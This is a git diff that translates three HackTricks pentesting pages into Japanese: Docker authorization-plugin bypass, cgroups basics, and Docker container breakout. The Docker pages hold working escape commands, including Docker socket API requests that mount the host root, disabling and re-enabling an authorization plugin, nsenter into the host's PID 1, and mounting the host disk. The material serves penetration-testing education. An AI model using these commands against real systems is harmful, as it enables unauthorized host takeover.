HostConfig内のマウント -### Mounts in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**ルートのバインド**と同じ手順に従い、Docker APIにこの**リクエスト**を実行してください: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` +## チェックされていないJSON属性 -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability: - +システム管理者がDockerファイアウォールを設定する際に、[API](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)のパラメータの重要な属性である「**Capabilities**」を「**HostConfig**」内に忘れてしまった可能性があります。次の例では、この設定ミスを悪用して、**SYS\_MODULE**の機能を持つコンテナを作成して実行することが可能です。 ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -184,15 +177,13 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - {% hint style="info" %} -The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +**`HostConfig`**は通常、コンテナから脱出するための興味深い特権を含んでいるキーです。ただし、前述のように、それ以外の場所でBindsを使用することも機能し、制限を回避することができる可能性があることに注意してください。 {% endhint %} -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## プラグインの無効化 +もし**システム管理者**が**プラグイン**の**無効化**を**禁止**することを**忘れて**いた場合、これを利用して完全に無効化することができます! ```bash docker plugin list #Enumerate plugins @@ -204,14 +195,13 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +**特権昇格後にプラグインを再有効化することを忘れないでください**。そうしないと、**Dockerサービスの再起動は機能しません**! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## Auth Plugin Bypassの解説 * [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) -# References +# 参考文献 * [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/) @@ -220,16 +210,14 @@ Remember to **re-enable the plugin after escalating**, or a **restart of docker ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/linux-hardening/privilege-escalation/docker-security/cgroups.md b/linux-hardening/privilege-escalation/docker-security/cgroups.md index f231a13b6..f23cd093b 100644 --- a/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -4,26 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Basic Information +## 基本情報 -**Linux control groups**, also known as cgroups, are a Linux kernel feature that allows you to **limit**, police, and prioritize **system resources** for a collection of processes. Cgroups provide a way to **manage and isolate the resource usage** (CPU, memory, disk I/O, network, etc.) of groups of processes in a system. This can be useful for many purposes, such as limiting the resources available to a particular group of processes, isolating certain types of workloads from others, or prioritizing the use of system resources between different groups of processes. +**Linuxコントロールグループ**、またはcgroupsは、Linuxカーネルの機能であり、**システムリソース**を制限、監視、優先順位付けするためのものです。cgroupsは、システム内のプロセスグループのリソース使用量(CPU、メモリ、ディスクI/O、ネットワークなど)を**管理および分離**する方法を提供します。これは、特定のプロセスグループに利用可能なリソースを制限したり、特定のワークロードを他のワークロードから分離したり、異なるプロセスグループ間でシステムリソースの使用を優先するために役立ちます。 -There are **two versions of cgroups**, 1 and 2, and both are currently in use and can be configured simultaneously on a system. The most **significant difference** between cgroups version 1 and **version 2** is that the latter introduced a new hierarchical organization for cgroups, where groups can be arranged in a **tree-like structure** with parent-child relationships. This allows for a more flexible and fine-grained control over the allocation of resources between different groups of processes. +cgroupsには、バージョン1と2の**2つのバージョン**があり、現在のところ両方が使用され、システム上で同時に設定できます。cgroupsバージョン1とバージョン2の**最も重要な違い**は、後者がcgroupsの新しい階層的な組織を導入したことです。これにより、グループを親子関係を持つ**ツリー構造**で配置することができます。これにより、異なるプロセスグループ間でリソースの割り当てをより柔軟かつ細かく制御することができます。 -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +階層的な組織の導入に加えて、cgroupsバージョン2では、**その他の変更と改善**もいくつか導入されました。これには、新しいリソースコントローラのサポート、レガシーアプリケーションのサポートの向上、パフォーマンスの改善などが含まれます。 -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +全体的に、cgroupsバージョン2はバージョン1よりも多機能でパフォーマンスも優れていますが、互換性のある古いシステムとの互換性が問題となる場合には、バージョン1が使用される場合もあります。 +任意のプロセスのv1およびv2 cgroupsをリストするには、/proc/\のcgroupファイルを参照することで行うことができます。次のコマンドでシェルのcgroupsを確認できます。 ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -38,69 +37,64 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +システム上の出力がかなり短くなっている場合は心配しないでください。これはおそらくcgroups v2のみを持っていることを意味します。ここでの各行は数字で始まり、異なるcgroupです。以下は読み方のポイントです: -Don’t be alarmed if the **output is significantly shorter** on your system; this just means that you probably **have only cgroups v2**. Every line of output here starts with a number and is a different cgroup. Here are some pointers on how to read it: +- 数字2から12はcgroups v1用です。それらのコントローラは数字の隣にリストされています。 +- 数字1もバージョン1用ですが、コントローラはありません。このcgroupは管理目的のみです(この場合、systemdが設定しました)。 +- 最後の行、数字0はcgroups v2用です。ここではコントローラは表示されません。cgroups v1を持たないシステムでは、これが唯一の出力行になります。 +- 名前は階層的で、ファイルパスの一部のように見えます。この例では、いくつかのcgroupの名前は/user.sliceで、他のものは/user.slice/user-1000.slice/session-2.scopeです。 +- /testcgroupという名前は、cgroups v1ではプロセスのcgroupsが完全に独立していることを示すために作成されました。 +- sessionを含むuser.sliceの名前は、systemdによって割り当てられたログインセッションです。シェルのcgroupsを見ているときにそれらを見ることができます。システムサービスのcgroupsはsystem.sliceの下にあります。 -* **Numbers 2–12 are for cgroups v1**. The **controllers** for those are listed next to the number. -* **Number 1** is also for **version 1**, but it does not have a controller. This cgroup is for **management purposes** only (in this case, systemd configured it). -* The last line, **number 0**, is for **cgroups v2**. No controllers are visible here. On a system that doesn’t have cgroups v1, this will be the only line of output. -* **Names are hierarchical and look like parts of file paths**. You can see in this example that some of the cgroups are named /user.slice and others /user.slice/user-1000.slice/session-2.scope. -* The name /testcgroup was created to show that in cgroups v1, the cgroups for a process can be completely independent. -* **Names under user.slice** that include session are login sessions, assigned by systemd. You’ll see them when you’re looking at a shell’s cgroups. The **cgroups** for your **system services** will be **under system.slice**. +### cgroupsの表示 -### Viewing cgroups - -Cgroups are typically **accessed through the filesystem**. This is in contrast to the traditional Unix system call interface for interacting with the kernel.\ -To explore the cgroup setup of a shell, you can look in the `/proc/self/cgroup` file to find the shell's cgroup, and then navigate to the `/sys/fs/cgroup` (or `/sys/fs/cgroup/unified`) directory and look for a **directory with the same name as the cgroup**. Changing to this directory and looking around will allow you to see the various **settings and resource usage information for the cgroup**. +通常、cgroupsは**ファイルシステムを介してアクセス**されます。これは、カーネルとの対話のための従来のUnixシステムコールインターフェースとは対照的です。\ +シェルのcgroupのセットアップを探索するには、`/proc/self/cgroup`ファイルを見て、シェルのcgroupを見つけ、次に`/sys/fs/cgroup`(または`/sys/fs/cgroup/unified`)ディレクトリに移動し、cgroupと同じ名前のディレクトリを探します。このディレクトリに移動して周りを見ることで、cgroupのさまざまな設定とリソース使用情報を確認できます。
-Among the many files that can be here, **the primary cgroup interface files begin with `cgroup`**. Start by looking at `cgroup.procs` (using cat is fine), which lists the processes in the cgroup. A similar file, `cgroup.threads`, also includes threads. +ここにある多くのファイルの中で、**主要なcgroupインターフェースファイルは`cgroup`で始まります**。まず、`cgroup.procs`(catを使用しても問題ありません)を見て、cgroup内のプロセスのリストを確認します。同様のファイルである`cgroup.threads`にはスレッドも含まれます。
-Most cgroups used for shells have these two controllers, which can control the **amount of memory** used and the **total number of processes in the cgroup**. To interact with a controller, look for the **files that match the controller prefix**. For example, if you want to see the number of threads running in the cgroup, consult pids.current: +シェルに使用されるほとんどのcgroupには、これら2つのコントローラがあります。これらのコントローラは、使用するメモリの量とcgroup内のプロセスの総数を制御できます。コントローラと対応するファイルを操作するには、コントローラの接頭辞に一致するファイルを探します。たとえば、cgroup内で実行されているスレッドの数を確認したい場合は、pids.currentを参照します。
-A value of **max means that this cgroup has no specific limit**, but because cgroups are hierarchical, a cgroup back down the subdirectory chain might limit it. +**maxの値は、このcgroupに特定の制限がないことを意味します**が、cgroupsは階層的であるため、サブディレクトリチェーンの下のcgroupが制限する可能性があります。 -### Manipulating and Creating cgroups - -To put a process into a cgroup, **write its PID to its `cgroup.procs` file as root:** +### cgroupsの操作と作成 +プロセスをcgroupに入れるには、そのPIDをrootとして`cgroup.procs`ファイルに書き込みます: ```shell-session # echo pid > cgroup.procs ``` - -This is how many changes to cgroups work. For example, if you want to **limit the maximum number of PIDs of a cgroup** (to, say, 3,000 PIDs), do it as follows: - +これはcgroupsの変更方法です。例えば、cgroupの最大PID数を制限したい場合(例えば、3,000 PIDに制限する場合)、以下のように行います: ```shell-session # echo 3000 > pids.max ``` +**cgroupsの作成は少しトリッキーです**。技術的には、cgroupツリーのどこかにサブディレクトリを作成するだけで簡単です。そうすると、カーネルは自動的にインターフェースファイルを作成します。プロセスがない場合、インターフェースファイルが存在していてもrmdirでcgroupを削除することができます。cgroupsに関するルールがあるため、トラブルになることがあります。これには次のものが含まれます: -**Creating cgroups is trickier**. Technically, it’s as easy as creating a subdirectory somewhere in the cgroup tree; when you do so, the kernel automatically creates the interface files. If a cgroup has no processes, you can remove the cgroup with rmdir even with the interface files present. What can trip you up are the rules governing cgroups, including: +* プロセスは、**外部レベル("leaf")のcgroupにのみ配置できます**。たとえば、/my-cgroupと/my-cgroup/my-subgroupという名前のcgroupがある場合、プロセスを/my-cgroupに配置することはできませんが、/my-cgroup/my-subgroupには配置できます。(例外は、cgroupにコントローラがない場合ですが、詳しくは掘り下げません。) +* cgroupは、**親のcgroupに存在しないコントローラを持つことはできません**。 +* 子のcgroupには、**明示的にコントローラを指定する必要があります**。これは、`cgroup.subtree_control`ファイルを介して行います。たとえば、子のcgroupにcpuとpidsコントローラを持たせたい場合は、このファイルに+cpu +pidsと書き込みます。 -* You can put **processes only in outer-level (“leaf”) cgroups**. For example, if you have cgroups named /my-cgroup and /my-cgroup/my-subgroup, you can’t put processes in /my-cgroup, but /my-cgroup/my-subgroup is okay. (An exception is if the cgroups have no controllers, but let’s not dig further.) -* A cgroup **can’t have a controller that isn’t in its parent cgroup**. -* You must explicitly **specify controllers for child cgroups**. You do this through the `cgroup.subtree_control` file; for example, if you want a child cgroup to have the cpu and pids controllers, write +cpu +pids to this file. +これらのルールの例外は、階層の一番下にある**ルートcgroup**です。このcgroupにプロセスを配置することができます。これを行う理由の1つは、プロセスをsystemdの制御から切り離すためです。 -An exception to these rules is the **root cgroup** found at the bottom of the hierarchy. You can **place processes in this cgroup**. One reason you might want to do this is to detach a process from systemd’s control. - -Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file: +コントローラが有効になっていなくても、cgroupのCPU使用率はcpu.statファイルを見ることで確認できます:
-Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate. +これは、cgroupの生涯にわたる累積CPU使用率なので、多くのサブプロセスを生成して最終的に終了させるサービスがどれだけのプロセッサ時間を消費するかを確認できます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index de5ff088b..a7bba1762 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -1,46 +1,43 @@ -# Docker Breakout / Privilege Escalation +# Dockerの脱獄/特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Automatic Enumeration & Escape +## 自動列挙と脱出 -* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -* [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -* [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -* [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image +* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): これは**コンテナを列挙**することもできます +* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、現在のコンテナを列挙し、自動的に脱出を試みるのに非常に**便利**です +* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ特権を取得するための便利なツールで、脱出方法を見つけることができます +* [**deepce**](https://github.com/stealthcopter/deepce): コンテナの列挙と脱出のためのツール +* [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## マウントされたDockerソケットの脱出 +もし何らかの理由で、Dockerコンテナ内に**Dockerソケットがマウントされている**ことがわかった場合、それから脱出することができます。\ +これは通常、何らかの理由でDockerデーモンに接続してアクションを実行する必要があるDockerコンテナで発生します。 ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +この場合、通常のDockerコマンドを使用してDockerデーモンと通信することができます。 ```bash #List images to use one docker images @@ -54,43 +51,40 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` - {% hint style="info" %} -In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** +予期しない場所に**dockerソケット**がある場合は、パラメータ**`-H unix:///path/to/docker.sock`**を使用して**`docker`**コマンドを使用してそれと通信することができます。 {% endhint %} -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. +Dockerデーモンは、[デフォルトでポート(2375、2376)でリスニングすることもあります](../../../../network-services-pentesting/2375-pentesting-docker.md)。また、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われる場合があります。 {% hint style="info" %} -Additionally, pay attention to the runtime sockets of other high-level runtimes: +さらに、他のハイレベルランタイムのランタイムソケットにも注意してください: -* dockershim: `unix:///var/run/dockershim.sock` -* containerd: `unix:///run/containerd/containerd.sock` -* cri-o: `unix:///var/run/crio/crio.sock` -* frakti: `unix:///var/run/frakti.sock` -* rktlet: `unix:///var/run/rktlet.sock` +* dockershim:`unix:///var/run/dockershim.sock` +* containerd:`unix:///run/containerd/containerd.sock` +* cri-o:`unix:///var/run/crio/crio.sock` +* frakti:`unix:///var/run/frakti.sock` +* rktlet:`unix:///var/run/rktlet.sock` * ... {% endhint %} -## Capabilities Abuse Escape +## Capabilitiesの悪用からの脱出 -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +コンテナのcapabilitiesをチェックする必要があります。以下のいずれかのcapabilitiesがある場合、それから脱出することができるかもしれません:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`** +現在のコンテナのcapabilitiesは、**前述の自動ツール**または以下を使用して確認できます: ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +以下のページでは、**Linuxの機能について詳しく学び**、それらを悪用して特権を逃れたり特権をエスカレートさせたりする方法について学ぶことができます: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} -## Escape from Privileged Containers +## 特権コンテナからの脱出 -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます: * `--cap-add=ALL` * `--security-opt apparmor=unconfined` @@ -102,51 +96,44 @@ A privileged container can be created with the flag `--privileged` or disabling * `--cgroupns=host` * `Mount /dev` -The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page: +`--privileged`フラグは、重大なセキュリティ上の懸念を引き起こし、このフラグを有効にした状態でDockerコンテナを起動することによってエスカレートすることができます。このフラグを使用すると、コンテナはすべてのデバイスに完全なアクセス権を持ち、seccomp、AppArmor、およびLinuxの機能による制限がありません。`--privileged`の効果については、以下のページで**すべての効果を読む**ことができます: {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} -### Privileged + hostPID +### 特権 + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行することで、rootとしてホストで実行されているプロセス(pid:1)の名前空間に移動することができます。 +コンテナでテストしてみてください。 ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` +### 特権モード -### Privileged - -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**. - -Test the following bypasses in a container executing: +特権フラグを使用するだけで、ホストのディスクにアクセスしたり、release_agentや他のエスケープを悪用して脱出を試みることができます。 +以下のバイパスをコンテナで実行してテストしてください。 ```bash docker run --rm -it --privileged ubuntu bash ``` +#### ディスクのマウント - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +適切に設定されたDockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。ただし、誤った設定のDockerコマンドでは、`--privileged`フラグまたは`--device=/dev/sda1`フラグと共にキャップスが指定されている場合、ホストドライブを表示するための特権を取得することが可能です。 ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +したがって、ホストマシンを乗っ取るためには、以下の手順を実行します: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +そして、できあがり!ホストのファイルシステムにアクセスできるようになりました。これは、`/mnt/hola`フォルダにマウントされているためです。 -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### ディスクのマウント - Poc2 